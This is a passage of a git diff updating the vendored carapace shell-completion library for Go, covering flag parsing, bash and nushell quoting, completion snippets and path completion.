reflect.ValueOf(f.FlagSet).MethodByName("IsPosix"); method.IsValid() { if values := method.Call([]reflect.Value{}); len(values) == 1 && values[0].Kind() == reflect.Bool { @@ -22,7 +29,7 @@ func (f FlagSet) IsPosix() bool { } func (f FlagSet) IsShorthandSeries(arg string) bool { - re := regexp.MustCompile("^-(?P[^-=]+)") + re := regexp.MustCompile("^-(?P[^-].*)") return re.MatchString(arg) && f.IsPosix() } @@ -41,19 +48,106 @@ func (f FlagSet) IsMutuallyExclusive(flag *pflag.Flag) bool { func (f *FlagSet) VisitAll(fn func(*Flag)) { f.FlagSet.VisitAll(func(flag *pflag.Flag) { - fn(&Flag{flag}) + fn(&Flag{Flag: flag, Args: []string{}}) }) + } func (fs FlagSet) LookupArg(arg string) (result *Flag) { isPosix := fs.IsPosix() - fs.VisitAll(func(f *Flag) { + + switch { + case strings.HasPrefix(arg, "--"): + return fs.lookupPosixLonghandArg(arg) + case isPosix: + return fs.lookupPosixShorthandArg(arg) + case !isPosix: + return fs.lookupNonPosixShorthandArg(arg) + } + return +} + +func (fs FlagSet) ShorthandLookup(name string) *Flag { + if f := fs.FlagSet.ShorthandLookup(name); f != nil { + return &Flag{ + Flag: f, + Args: []string{}, + } + } + return nil +} + +func (fs FlagSet) lookupPosixLonghandArg(arg string) (flag *Flag) { + if !strings.HasPrefix(arg, "--") { + return nil + } + + fs.VisitAll(func(f *Flag) { // TODO needs to be sorted to try longest matching first + if flag != nil || f.Mode() != Default { + return + } + + splitted := strings.SplitAfterN(arg, string(f.OptargDelimiter()), 2) + if strings.TrimSuffix(splitted[0], string(f.OptargDelimiter())) == "--"+f.Name { + flag = f + flag.Prefix = splitted[0] + if len(splitted) > 1 { + flag.Args = splitted[1:] + } + } + }) + return +} + +func (fs FlagSet) lookupPosixShorthandArg(arg string) *Flag { + if !strings.HasPrefix(arg, "-") || !fs.IsPosix() || len(arg) < 2 { + return nil + } + + for index, r := range arg[1:] { + index += 1 + flag := fs.ShorthandLookup(string(r)) + + switch { + case flag == nil: + return flag + case len(arg) == index+1: + flag.Prefix = arg + return flag + case arg[index+1] == byte(flag.OptargDelimiter()) && len(arg) > index+2: + flag.Prefix = arg[:index+2] + flag.Args = []string{arg[index+2:]} + return flag + case arg[index+1] == byte(flag.OptargDelimiter()): + flag.Prefix = arg[:index+2] + flag.Args = []string{""} + return flag + case !flag.IsOptarg() && len(arg) > index+1: + flag.Prefix = arg[:index+1] + flag.Args = []string{arg[index+1:]} + return flag + } + } + return nil +} + +func (fs FlagSet) lookupNonPosixShorthandArg(arg string) (result *Flag) { // TODO pretty much duplicates longhand lookup + if !strings.HasPrefix(arg, "-") { + return nil + } + + fs.VisitAll(func(f *Flag) { // TODO needs to be sorted to try longest matching first if result != nil { return } - if f.Matches(arg, isPosix) { + splitted := strings.SplitAfterN(arg, string(f.OptargDelimiter()), 2) + if strings.TrimSuffix(splitted[0], string(f.OptargDelimiter())) == "-"+f.Shorthand { result = f + result.Prefix = splitted[0] + if len(splitted) > 1 { + result.Args = splitted[1:] + } } }) return diff --git a/vendor/github.com/rsteube/carapace/internal/shell/bash/action.go b/vendor/github.com/rsteube/carapace/internal/shell/bash/action.go index 9607a6056c..0e3529a4c0 100644 --- a/vendor/github.com/rsteube/carapace/internal/shell/bash/action.go +++ b/vendor/github.com/rsteube/carapace/internal/shell/bash/action.go @@ -14,28 +14,15 @@ var sanitizer = strings.NewReplacer( "\t", ``, ) -var quoter = strings.NewReplacer( - // seems readline provides quotation only for the filename completion (which would add suffixes) so do that here - `&`, `\&`, - `<`, `\<`, - `>`, `\>`, - "`", "\\`", - `'`, `\'`, +var valueReplacer = strings.NewReplacer( + `\`, `\\`, `"`, `\"`, - `{`, `\{`, - `}`, `\}`, `$`, `\$`, - `#`, `\#`, - `|`, `\|`, - `?`, `\?`, - `(`, `\(`, - `)`, `\)`, - `;`, `\;`, - ` `, `\ `, - `[`, `\[`, - `]`, `\]`, - `*`, `\*`, - `\`, `\\`, + "`", "\\`", +) + +var displayReplacer = strings.NewReplacer( + `${`, `\\\${`, ) func commonPrefix(a, b string) string { @@ -70,19 +57,11 @@ func commonValuePrefix(values ...common.RawValue) (prefix string) { // ActionRawValues formats values for bash. func ActionRawValues(currentWord string, meta common.Meta, values common.RawValues) string { - lastSegment := currentWord // last segment of currentWord split by COMP_WORDBREAKS - - for valueIndex, value := range values { - // TODO optimize - if wordbreaks, ok := os.LookupEnv("COMP_WORDBREAKS"); ok { - wordbreaks = strings.Replace(wordbreaks, " ", "", -1) - if index := strings.LastIndexAny(currentWord, wordbreaks); index != -1 { - values[valueIndex].Value = strings.TrimPrefix(value.Value, currentWord[:index+1]) - lastSegment = currentWord[index+1:] - } - } + for index, value := range values { + values[index].Value = strings.TrimPrefix(value.Value, wordbreakPrefix) } + lastSegment := strings.TrimPrefix(currentWord, wordbreakPrefix) // last segment of currentWord split by COMP_WORDBREAKS if len(values) > 1 && commonDisplayPrefix(values...) != "" { // When all display values have the same prefix bash will insert is as partial completion (which skips prefixes/formatting). if valuePrefix := commonValuePrefix(values...); lastSegment != valuePrefix { @@ -95,15 +74,32 @@ func ActionRawValues(currentWord string, meta common.Meta, values common.RawValu meta.Nospace.Add('*') } + nospace := true vals := make([]string, len(values)) for index, val := range values { if len(values) == 1 { - vals[index] = quoter.Replace(sanitizer.Replace(val.Value)) if !meta.Nospace.Matches(val.Value) { - vals[index] = val.Value + " " + nospace = false } + vals[index] = sanitizer.Replace(val.Value) + if requiresQuoting(vals[index]) { + vals[index] = valueReplacer.Replace(vals[index]) + switch { + case strings.HasPrefix(vals[index], "~"): // assume homedir expansion + if splitted := strings.SplitAfterN(vals[index], "/", 2); len(splitted) == 2 { + vals[index] = fmt.Sprintf(`%v"%v"`, splitted[0], splitted[1]) + } else { + // TODO homedir expansion won't work this way, but shouldn't reach this point anyway. + vals[index] = fmt.Sprintf(`~"%v"`, strings.TrimPrefix(vals[index], "~")) + } + default: + vals[index] = fmt.Sprintf(`"%v"`, vals[index]) + } + } } else { + val.Display = displayReplacer.Replace(val.Display) + val.Description = displayReplacer.Replace(val.Description) if val.Description != "" { vals[index] = fmt.Sprintf("%v (%v)", val.Display, sanitizer.Replace(val.TrimmedDescription())) } else { @@ -111,5 +107,13 @@ func ActionRawValues(currentWord string, meta common.Meta, values common.RawValu } } } - return strings.Join(vals, "\n") + return fmt.Sprintf("%v\001%v", nospace, strings.Join(vals, "\n")) +} + +func requiresQuoting(s string) bool { + chars := " \t\r\n`" + `[]{}()<>;|$&:*#` + chars += os.Getenv("COMP_WORDBREAKS") + chars += `\` + return strings.ContainsAny(s, chars) + } diff --git a/vendor/github.com/rsteube/carapace/internal/shell/bash/patch.go b/vendor/github.com/rsteube/carapace/internal/shell/bash/patch.go new file mode 100644 index 0000000000..c7511e20b4 --- /dev/null +++ b/vendor/github.com/rsteube/carapace/internal/shell/bash/patch.go @@ -0,0 +1,89 @@ +package bash + +import ( + "os" + "strconv" + + shlex "github.com/rsteube/carapace-shlex" +) + +// RedirectError current position is a redirect like `echo test >[TAB]`. +type RedirectError struct{} + +func (r RedirectError) Error() string { + return "current position is a redirect like `echo test >[TAB]`" +} + +// TODO yuck! - set by Patch which also unsets bash comp environment variables so that they don't affect further completion +// introduces state and hides what is happening but works for now +var wordbreakPrefix string = "" + +func CompLine() (string, bool) { + line, ok := os.LookupEnv("COMP_LINE") + if !ok { + return "", false + } + + point, ok := os.LookupEnv("COMP_POINT") + if !ok { + return "", false + } + + pointI, err := strconv.Atoi(point) + if err != nil || len(line) < pointI { + return "", false + } + + return line[:pointI], true +} + +// Patch patches args if `COMP_LINE` environment variable is set. +// +// Bash passes redirects to the completion function so these need to be filtered out. +// +// `example action >/tmp/stdout.txt --values 2>/tmp/stderr.txt fi[TAB]` +// ["example", "action", ">", "/tmp/stdout.txt", "--values", "2", ">", "/tmp/stderr.txt", "fi"] +// ["example", "action", "--values", "fi"] +func Patch(args []string) ([]string, error) { // TODO document and fix wordbreak splitting (e.g. `:`) + compline, ok := CompLine() + if !ok { + return args, nil + } + + if compline == "" { + return args, nil + } + + tokens, err := shlex.Split(compline) + if err != nil { + return nil, err + } + + if len(tokens) > 1 { + if previous := tokens[len(tokens)-2]; previous.WordbreakType.IsRedirect() { + return append(args[:1], tokens[len(tokens)-1].Value), RedirectError{} + } + } + args = append(args[:1], tokens.CurrentPipeline().FilterRedirects().Words().Strings()...) + + // TODO find a better solution to pass the wordbreakprefix to bash/action.go + wordbreakPrefix = tokens.CurrentPipeline().WordbreakPrefix() + unsetBashCompEnv() + + return args, nil +} + +func unsetBashCompEnv() { + for _, key := range []string{ + // https://www.gnu.org/software/bash/manual/html_node/Bash-Variables.html + "COMP_CWORD", + "COMP_LINE", + "COMP_POINT", + "COMP_TYPE", + "COMP_KEY", + "COMP_WORDBREAKS", + "COMP_WORDS", + } { + os.Unsetenv(key) + } +} diff --git a/vendor/github.com/rsteube/carapace/internal/shell/bash/snippet.go b/vendor/github.com/rsteube/carapace/internal/shell/bash/snippet.go index ca30645a9a..1663ddfef3 100644 --- a/vendor/github.com/rsteube/carapace/internal/shell/bash/snippet.go +++ b/vendor/github.com/rsteube/carapace/internal/shell/bash/snippet.go @@ -13,17 +13,30 @@ func Snippet(cmd *cobra.Command) string { result := fmt.Sprintf(`#!/bin/bash _%v_completion() { export COMP_WORDBREAKS + export COMP_LINE + export COMP_POINT - local compline="${COMP_LINE:0:${COMP_POINT}}" + local nospace data compline="${COMP_LINE:0:${COMP_POINT}}" + + if echo ${compline}"''" | xargs echo 2>/dev/null > /dev/null; then + data=$(echo ${compline}"''" | xargs %v _carapace bash) + elif echo ${compline} | sed "s/\$/'/" | xargs echo 2>/dev/null > /dev/null; then + data=$(echo ${compline} | sed "s/\$/'/" | xargs %v _carapace bash) + else + data=$(echo ${compline} | sed 's/$/"/' | xargs %v _carapace bash) + fi + + IFS=$'\001' read -r -d '' nospace data <<<"${data}" + mapfile -t COMPREPLY < <(echo "${data}") + unset COMPREPLY[-1] + + [ "${nospace}" = true ] && compopt -o nospace local IFS=$'\n' - mapfile -t COMPREPLY < <(echo "$compline" | sed -e "s/ \$/ ''/" -e 's/"/\"/g' | xargs %v _carapace bash) [[ "${COMPREPLY[*]}" == "" ]] && COMPREPLY=() # fix for mapfile creating a non-empty array from empty command output - - compopt -o nospace } -complete -F _%v_completion %v -`, cmd.Name(), uid.Executable(), cmd.Name(), cmd.Name()) +complete -o noquote -F _%v_completion %v +`, cmd.Name(), uid.Executable(), uid.Executable(), uid.Executable(), cmd.Name(), cmd.Name()) return result } diff --git a/vendor/github.com/rsteube/carapace/internal/shell/elvish/snippet.go b/vendor/github.com/rsteube/carapace/internal/shell/elvish/snippet.go index 9c5a8b6d28..a06f3380a4 100644 --- a/vendor/github.com/rsteube/carapace/internal/shell/elvish/snippet.go +++ b/vendor/github.com/rsteube/carapace/internal/shell/elvish/snippet.go @@ -18,7 +18,7 @@ func Snippet(cmd *cobra.Command) string { if (not-eq $completion[Usage] "") { edit:notify (styled "usage: " $completion[DescriptionStyle])$completion[Usage] } - put $completion[Candidates] | all (one) | each {|c| + put $completion[Candidates] | all (one) | peach {|c| if (eq $c[Description] "") { edit:complex-candidate $c[Value] &display=(styled $c[Display] $c[Style]) &code-suffix=$c[CodeSuffix] } else { diff --git a/vendor/github.com/rsteube/carapace/internal/shell/fish/action.go b/vendor/github.com/rsteube/carapace/internal/shell/fish/action.go index 7dbae1b091..d5f68d8b5b 100644 --- a/vendor/github.com/rsteube/carapace/internal/shell/fish/action.go +++ b/vendor/github.com/rsteube/carapace/internal/shell/fish/action.go @@ -2,9 +2,8 @@ package fish import ( "fmt" - "strings" - "github.com/rsteube/carapace/internal/common" + "strings" ) var sanitizer = strings.NewReplacer( diff --git a/vendor/github.com/rsteube/carapace/internal/shell/library/action.go b/vendor/github.com/rsteube/carapace/internal/shell/library/action.go deleted file mode 100644 index 3e6359df20..0000000000 --- a/vendor/github.com/rsteube/carapace/internal/shell/library/action.go +++ /dev/null @@ -1,42 +0,0 @@ -package library - -import ( - "strings" - - "github.com/rsteube/carapace/internal/common" - "github.com/rsteube/carapace/pkg/style" -) - -var sanitizer = strings.NewReplacer( - "\n", ``, - "\r", ``, - "\t", ``, -) - -var quoter = strings.NewReplacer( - // `\`, `\\`, - ` `, `\ `, -) - -// ActionRawValues formats values for carapace if used as library. -func ActionRawValues(_ string, meta common.Meta, values common.RawValues) (common.RawValues, common.Meta) { - sorted := make(common.RawValues, 0) - - values.EachTag(func(_ string, values common.RawValues) { - for index, val := range values { - val.Value = sanitizer.Replace(val.Value) - val.Value = quoter.Replace(val.Value) - if !meta.Nospace.Matches(val.Value) { - val.Value += " " - } - if val.Style != "" { - val.Style = style.SGR(val.Style) - } - values[index] = val - } - - sorted = append(sorted, values...) - }) - - return sorted, meta -} diff --git a/vendor/github.com/rsteube/carapace/internal/shell/nushell/action.go b/vendor/github.com/rsteube/carapace/internal/shell/nushell/action.go index 361393bddf..06a59db19b 100644 --- a/vendor/github.com/rsteube/carapace/internal/shell/nushell/action.go +++ b/vendor/github.com/rsteube/carapace/internal/shell/nushell/action.go @@ -18,6 +18,11 @@ var sanitizer = strings.NewReplacer( "\r", ``, ) +var escaper = strings.NewReplacer( + `\`, `\\`, + `"`, `\"`, +) + func sanitize(values []common.RawValue) []common.RawValue { for index, v := range values { (&values[index]).Value = sanitizer.Replace(v.Value) @@ -31,11 +36,17 @@ func sanitize(values []common.RawValue) []common.RawValue { func ActionRawValues(currentWord string, meta common.Meta, values common.RawValues) string { vals := make([]record, len(values)) for index, val := range sanitize(values) { - if strings.ContainsAny(val.Value, ` {}()[]<>$&"|;#\`+"`") { - val.Value = fmt.Sprintf("'%v'", val.Value) + nospace := meta.Nospace.Matches(val.Value) + if strings.ContainsAny(val.Value, ` {}()[]<>$&"'|;#\`+"`") { + switch { + case strings.HasPrefix(val.Value, "~"): + val.Value = fmt.Sprintf(`~"%v"`, escaper.Replace(val.Value[1:])) + default: + val.Value = fmt.Sprintf(`"%v"`, escaper.Replace(val.Value)) + } } - if !meta.Nospace.Matches(val.Value) { + if !nospace { val.Value = val.Value + " " } diff --git a/vendor/github.com/rsteube/carapace/internal/shell/nushell/patch.go b/vendor/github.com/rsteube/carapace/internal/shell/nushell/patch.go new file mode 100644 index 0000000000..65734c231f --- /dev/null +++ b/vendor/github.com/rsteube/carapace/internal/shell/nushell/patch.go @@ -0,0 +1,30 @@ +package nushell + +import ( + "strings" + + shlex "github.com/rsteube/carapace-shlex" +) + +// Patch uses the lexer to parse and patch given arguments which +// are currently passed unprocessed to the completion function. +// +// see https://www.nushell.sh/book/working_with_strings.html +func Patch(args []string) []string { + // TODO + for index, arg := range args { + if len(arg) == 0 { + continue + } + + switch arg[0] { + case '"', "'"[0]: + if tokens, err := shlex.Split(arg); err == nil { + args[index] = tokens[0].Value + } + case '`': + args[index] = strings.Trim(arg, "`") + } + } + return args +} diff --git a/vendor/github.com/rsteube/carapace/internal/shell/nushell/snippet.go b/vendor/github.com/rsteube/carapace/internal/shell/nushell/snippet.go index 72357e41bb..a37f69815b 100644 --- a/vendor/github.com/rsteube/carapace/internal/shell/nushell/snippet.go +++ b/vendor/github.com/rsteube/carapace/internal/shell/nushell/snippet.go @@ -10,19 +10,7 @@ import ( // Snippet creates the nushell completion script. func Snippet(cmd *cobra.Command) string { - return fmt.Sprintf(`let external_completer = {|spans| - { - $spans.0: { } # default - %v: { %v _carapace nushell $spans | from json } - } | get $spans.0 | each {|it| do $it} -} - -let-env config = { - completions: { - external: { - enable: true - completer: $external_completer - } - } + return fmt.Sprintf(`let %v_completer = {|spans| + %v _carapace nushell $spans | from json }`, cmd.Name(), uid.Executable()) } diff --git a/vendor/github.com/rsteube/carapace/internal/shell/powershell/action.go b/vendor/github.com/rsteube/carapace/internal/shell/powershell/action.go index f1ddb85e46..ba2353b61b 100644 --- a/vendor/github.com/rsteube/carapace/internal/shell/powershell/action.go +++ b/vendor/github.com/rsteube/carapace/internal/shell/powershell/action.go @@ -45,12 +45,13 @@ func ActionRawValues(currentWord string, meta common.Meta, values common.RawValu for _, val := range values { if val.Value != "" { // must not be empty - any empty `''` parameter in CompletionResult causes an error val.Value = sanitizer.Replace(val.Value) + nospace := meta.Nospace.Matches(val.Value) if strings.ContainsAny(val.Value, ` {}()[]*$?\"|<>&(),;#`+"`") { val.Value = fmt.Sprintf("'%v'", val.Value) } - if !meta.Nospace.Matches(val.Value) { + if !nospace { val.Value = val.Value + " " } diff --git a/vendor/github.com/rsteube/carapace/internal/shell/shell.go b/vendor/github.com/rsteube/carapace/internal/shell/shell.go index fff6ea3b45..f578122f1e 100644 --- a/vendor/github.com/rsteube/carapace/internal/shell/shell.go +++ b/vendor/github.com/rsteube/carapace/internal/shell/shell.go @@ -86,6 +86,11 @@ func Value(shell string, value string, meta common.Meta, values common.RawValues default: filtered = meta.Messages.Integrate(filtered, value) } + + if !meta.Messages.IsEmpty() && shell != "export" { + meta.Nospace.Add('*') + } + sort.Sort(common.ByDisplay(filtered)) return f(value, meta, filtered) } diff --git a/vendor/github.com/rsteube/carapace/internal/shell/spec/command.go b/vendor/github.com/rsteube/carapace/internal/shell/spec/command.go index 49eb17db98..f3db47b38d 100644 --- a/vendor/github.com/rsteube/carapace/internal/shell/spec/command.go +++ b/vendor/github.com/rsteube/carapace/internal/shell/spec/command.go @@ -5,6 +5,8 @@ type Command struct { Aliases []string `yaml:"aliases,omitempty"` Description string `yaml:"description,omitempty"` Group string `yaml:"group,omitempty"` + Hidden bool `yaml:"hidden,omitempty"` + ExclusiveFlags [][]string `yaml:"exclusiveflags,omitempty"` Flags map[string]string `yaml:"flags,omitempty"` PersistentFlags map[string]string `yaml:"persistentflags,omitempty"` Completion struct { diff --git a/vendor/github.com/rsteube/carapace/internal/shell/spec/snippet.go b/vendor/github.com/rsteube/carapace/internal/shell/spec/snippet.go index 6f0fa22d7c..2d8325eee0 100644 --- a/vendor/github.com/rsteube/carapace/internal/shell/spec/snippet.go +++ b/vendor/github.com/rsteube/carapace/internal/shell/spec/snippet.go @@ -20,34 +20,32 @@ func command(cmd *cobra.Command) Command { Description: cmd.Short, Aliases: cmd.Aliases, Group: cmd.GroupID, + Hidden: cmd.Hidden, Flags: make(map[string]string), PersistentFlags: make(map[string]string), Commands: make([]Command, 0), } - cmd.LocalFlags().VisitAll(func(flag *pflag.Flag) { - if flag.Hidden { - return - } + // TODO mutually exclusive flags + cmd.LocalFlags().VisitAll(func(flag *pflag.Flag) { if cmd.PersistentFlags().Lookup(flag.Name) != nil { return } f := pflagfork.Flag{Flag: flag} c.Flags[f.Definition()] = f.Usage + }) cmd.PersistentFlags().VisitAll(func(flag *pflag.Flag) { - if flag.Hidden { - return - } f := pflagfork.Flag{Flag: flag} c.PersistentFlags[f.Definition()] = f.Usage + }) for _, subcmd := range cmd.Commands() { - if !subcmd.Hidden { + if subcmd.Name() != "_carapace" && subcmd.Deprecated == "" { c.Commands = append(c.Commands, command(subcmd)) } } diff --git a/vendor/github.com/rsteube/carapace/internal/shell/tcsh/action.go b/vendor/github.com/rsteube/carapace/internal/shell/tcsh/action.go index 02a986c129..292d176806 100644 --- a/vendor/github.com/rsteube/carapace/internal/shell/tcsh/action.go +++ b/vendor/github.com/rsteube/carapace/internal/shell/tcsh/action.go @@ -87,6 +87,7 @@ func ActionRawValues(currentWord string, meta common.Meta, values common.RawValu if valuePrefix := commonValuePrefix(values...); lastSegment != valuePrefix { // replace values with common value prefix (`\001` is removed in snippet and compopt nospace will be set) values = common.RawValuesFrom(commonValuePrefix(values...)) // TODO nospaceIndicator + //values = common.RawValuesFrom(commonValuePrefix(values...) + nospaceIndicator) } else { // prevent insertion of partial display values by prefixing one with space values[0].Display = " " + values[0].Display diff --git a/vendor/github.com/rsteube/carapace/internal/shell/zsh/action.go b/vendor/github.com/rsteube/carapace/internal/shell/zsh/action.go index 6e495189b0..4cde528e8e 100644 --- a/vendor/github.com/rsteube/carapace/internal/shell/zsh/action.go +++ b/vendor/github.com/rsteube/carapace/internal/shell/zsh/action.go @@ -13,7 +13,7 @@ var sanitizer = strings.NewReplacer( "\t", ``, ) -// TODO verify these are correct/complete (copied from bash). +// TODO verify these are correct/complete (copied from bash) var quoter = strings.NewReplacer( `\`, `\\`, `&`, `\&`, @@ -45,8 +45,9 @@ func quoteValue(s string) string { return quoter.Replace(s) } -// ActionRawValues formats values for zsh. +// ActionRawValues formats values for zsh func ActionRawValues(currentWord string, meta common.Meta, values common.RawValues) string { + tagGroup := make([]string, 0) values.EachTag(func(tag string, values common.RawValues) { vals := make([]string, len(values)) diff --git a/vendor/github.com/rsteube/carapace/internal/shell/zsh/namedDirectory.go b/vendor/github.com/rsteube/carapace/internal/shell/zsh/namedDirectory.go index 7478166801..b159d4b98e 100644 --- a/vendor/github.com/rsteube/carapace/internal/shell/zsh/namedDirectory.go +++ b/vendor/github.com/rsteube/carapace/internal/shell/zsh/namedDirectory.go @@ -8,7 +8,7 @@ import ( type namedDirectories map[string]string -// NamedDirectories provides rudimentary named directory support as these aren't expanded by zsh in the `${words}` provided to the compdef function. +// NamedDirectories provides rudimentary named directory support as these aren't expanded by zsh in the `${words}` provided to the compdef function var NamedDirectories = make(namedDirectories) func (nd *namedDirectories) match(s string) string { @@ -18,12 +18,12 @@ func (nd *namedDirectories) match(s string) string { return "" } -// Matches checks if given string has a known named directory prefix. +// Matches checks if given string has a known named directory prefix func (nd *namedDirectories) Matches(s string) bool { return nd.match(s) != "" } -// Replace replaces a known named directory prefix with the actual folder. +// Replace replaces a known named directory prefix with the actual folder func (nd *namedDirectories) Replace(s string) string { if match := nd.match(s); match != "" { if !strings.HasSuffix(match, "/") { diff --git a/vendor/github.com/rsteube/carapace/internal/shell/zsh/snippet.go b/vendor/github.com/rsteube/carapace/internal/shell/zsh/snippet.go index 45dfb167b0..27611e3b01 100644 --- a/vendor/github.com/rsteube/carapace/internal/shell/zsh/snippet.go +++ b/vendor/github.com/rsteube/carapace/internal/shell/zsh/snippet.go @@ -8,7 +8,7 @@ import ( "github.com/spf13/cobra" ) -// Snippet creates the zsh completion script. +// Snippet creates the zsh completion script func Snippet(cmd *cobra.Command) string { return fmt.Sprintf(`#compdef %v function _%v_completion { diff --git a/vendor/github.com/rsteube/carapace/internal/shell/zsh/zstyle.go b/vendor/github.com/rsteube/carapace/internal/shell/zsh/zstyle.go index 0933b49800..c3848842ae 100644 --- a/vendor/github.com/rsteube/carapace/internal/shell/zsh/zstyle.go +++ b/vendor/github.com/rsteube/carapace/internal/shell/zsh/zstyle.go @@ -29,6 +29,7 @@ func (z zstyles) valueSGR(val common.RawValue) string { return style.SGR(style.Carapace.Value) } return style.SGR(style.Default) + } func (z zstyles) Format() string { diff --git a/vendor/github.com/rsteube/carapace/internalActions.go b/vendor/github.com/rsteube/carapace/internalActions.go index be8048b9dc..e5b753aead 100644 --- a/vendor/github.com/rsteube/carapace/internalActions.go +++ b/vendor/github.com/rsteube/carapace/internalActions.go @@ -6,33 +6,33 @@ import ( "path/filepath" "strings" - "github.com/rsteube/carapace/internal/common" + "github.com/rsteube/carapace/internal/env" "github.com/rsteube/carapace/internal/pflagfork" "github.com/rsteube/carapace/pkg/style" + "github.com/rsteube/carapace/pkg/util" "github.com/spf13/cobra" ) func actionPath(fileSuffixes []string, dirOnly bool) Action { return ActionCallback(func(c Context) Action { + if len(c.Value) == 2 && util.HasVolumePrefix(c.Value) { + // TODO should be fixed in Abs or wherever this is happening + return ActionValues(c.Value + "/") // prevent `C:` -> `C:.` + } + abs, err := c.Abs(c.Value) if err != nil { return ActionMessage(err.Error()) } - displayFolder := filepath.Dir(c.Value) - - // Always try to trim/adapt for absolute Windows paths (starting with C:). - // On all other platforms, adapt as usual - displayFolder, trimmed := windowsDisplayTrimmed(abs, c.Value, displayFolder) - if !trimmed { - if displayFolder == "." { - displayFolder = "" - } else if !strings.HasSuffix(displayFolder, "/") { - displayFolder = displayFolder + "/" - } + displayFolder := filepath.ToSlash(filepath.Dir(c.Value)) + if displayFolder == "." { + displayFolder = "" + } else if !strings.HasSuffix(displayFolder, "/") { + displayFolder = displayFolder + "/" } - actualFolder := filepath.Dir(abs) + actualFolder := filepath.ToSlash(filepath.Dir(abs)) files, err := ioutil.ReadDir(actualFolder) if err != nil { return ActionMessage(err.Error()) @@ -54,18 +54,14 @@ func actionPath(fileSuffixes []string, dirOnly bool) Action { } if resolvedFile.IsDir() { - // Use forward slahes regardless of the OS, since even Powershell understands them. - slashed := filepath.ToSlash(displayFolder + file.Name() + "/") - vals = append(vals, slashed, style.ForPath(filepath.Clean(actualFolder+"/"+file.Name()+"/"), c)) + vals = append(vals, displayFolder+file.Name()+"/", style.ForPath(filepath.Clean(actualFolder+"/"+file.Name()+"/"), c)) } else if !dirOnly { if len(fileSuffixes) == 0 { fileSuffixes = []string{""} } for _, suffix := range fileSuffixes { if strings.HasSuffix(file.Name(), suffix) { - // Use forward slahes regardless of the OS, since even Powershell understands them. - slashed := filepath.ToSlash(displayFolder + file.Name()) - vals = append(vals, slashed, style.ForPath(filepath.Clean(actualFolder+"/"+file.Name()), c)) + vals = append(vals, displayFolder+file.Name(), style.ForPath(filepath.Clean(actualFolder+"/"+file.Name()), c)) break } } @@ -75,7 +71,7 @@ func actionPath(fileSuffixes []string, dirOnly bool) Action { return ActionStyledValues(vals...).Invoke(Context{}).Prefix("./").ToA() } return ActionStyledValues(vals...) - }).Tag("files").NoSpace('/') + }) } func actionFlags(cmd *cobra.Command) Action { @@ -86,11 +82,12 @@ func actionFlags(cmd *cobra.Command) Action { flagSet := pflagfork.FlagSet{FlagSet: cmd.Flags()} isShorthandSeries := flagSet.IsShorthandSeries(c.Value) - needsMultipart := false - + nospace := make([]rune, 0) vals := make([]string, 0) flagSet.VisitAll(func(f *pflagfork.Flag) { switch { + case f.Hidden && !env.Hidden(): + return // skip hidden flags case f.Deprecated != "": return // skip deprecated flags case f.Changed && !f.IsRepeatable(): @@ -107,6 +104,9 @@ func actionFlags(cmd *cobra.Command) Action { } } vals = append(vals, f.Shorthand, f.Usage, f.Style()) + if f.IsOptarg() { + nospace = append(nospace, []rune(f.Shorthand)[0]) + } } } else { switch f.Mode() { @@ -119,42 +119,17 @@ func actionFlags(cmd *cobra.Command) Action { if f.Shorthand != "" && f.ShorthandDeprecated == "" { vals = append(vals, "-"+f.Shorthand, f.Usage, f.Style()) } - - if strings.Contains(f.Name, ".") { - needsMultipart = true - } } }) if isShorthandSeries { - return ActionStyledValuesDescribed(vals...).Prefix(c.Value).NoSpace('*') - } - - action := ActionStyledValuesDescribed(vals...) - - // multiparts completion for flags grouped with `.` - if needsMultipart { - action = action.MultiParts(".") - } - - return action - }).Tag("flags") -} - -func actionSubcommands(cmd *cobra.Command) Action { - return ActionCallback(func(c Context) Action { - batch := Batch() - for _, subcommand := range cmd.Commands() { - if !subcommand.Hidden && subcommand.Deprecated == "" { - group := common.Group{Cmd: subcommand} - batch = append(batch, ActionStyledValuesDescribed(subcommand.Name(), subcommand.Short, group.Style()).Tag(group.Tag())) - for _, alias := range subcommand.Aliases { - batch = append(batch, ActionStyledValuesDescribed(alias, subcommand.Short, group.Style()).Tag(group.Tag())) - } + if len(nospace) > 0 { + return ActionStyledValuesDescribed(vals...).Prefix(c.Value).NoSpace(nospace...) } + return ActionStyledValuesDescribed(vals...).Prefix(c.Value) } - return batch.ToA() - }) + return ActionStyledValuesDescribed(vals...).MultiParts(".") // multiparts completion for flags grouped with `.` + }).Tag("flags") } func initHelpCompletion(cmd *cobra.Command) { @@ -170,12 +145,6 @@ func initHelpCompletion(cmd *cobra.Command) { } Gen(helpCmd).PositionalAnyCompletion( - ActionCallback(func(c Context) Action { - lastCmd, _, err := cmd.Find(c.Args) - if err != nil { - return ActionMessage(err.Error()) - } - return actionSubcommands(lastCmd) - }), + ActionCommands(cmd), ) } diff --git a/vendor/github.com/rsteube/carapace/invokedAction.go b/vendor/github.com/rsteube/carapace/invokedAction.go index 0b1d603d69..eac1a32d27 100644 --- a/vendor/github.com/rsteube/carapace/invokedAction.go +++ b/vendor/github.com/rsteube/carapace/invokedAction.go @@ -6,6 +6,7 @@ import ( "github.com/rsteube/carapace/internal/common" "github.com/rsteube/carapace/internal/export" _shell "github.com/rsteube/carapace/internal/shell" + "github.com/rsteube/carapace/pkg/match" ) // InvokedAction is a logical alias for an Action whose (nested) callback was invoked. @@ -17,11 +18,11 @@ func (a InvokedAction) export() export.Export { return export.Export{Meta: a.meta, Values: a.rawValues} } -// Filter filters given values (this should be done before any call to Prefix/Suffix as those alter the values being filtered) +// Filter filters given values. // // a := carapace.ActionValues("A", "B", "C").Invoke(c) // b := a.Filter([]string{"B"}) // ["A", "C"] -func (a InvokedAction) Filter(values []string) InvokedAction { +func (a InvokedAction) Filter(values ...string) InvokedAction { a.rawValues = a.rawValues.Filter(values...) return a } @@ -50,6 +51,15 @@ func (a InvokedAction) Prefix(prefix string) InvokedAction { return a } +// Retain retains given values. +// +// a := carapace.ActionValues("A", "B", "C").Invoke(c) +// b := a.Retain([]string{"A", "C"}) // ["A", "C"] +func (a InvokedAction) Retain(values ...string) InvokedAction { + a.rawValues = a.rawValues.Retain(values...) + return a +} + // Suffix adds a suffx to values (only the ones inserted, not the display values) // // carapace.ActionValues("apple", "melon", "orange").Invoke(c).Suffix("juice") @@ -91,7 +101,7 @@ func (a InvokedAction) ToMultiPartsA(dividers ...string) Action { uniqueVals := make(map[string]common.RawValue) for _, val := range a.rawValues { - if strings.HasPrefix(val.Value, c.Value) { + if match.HasPrefix(val.Value, c.Value) { if splitted := tokenize(val.Value, dividers...); len(splitted) >= len(splittedCV) { v := 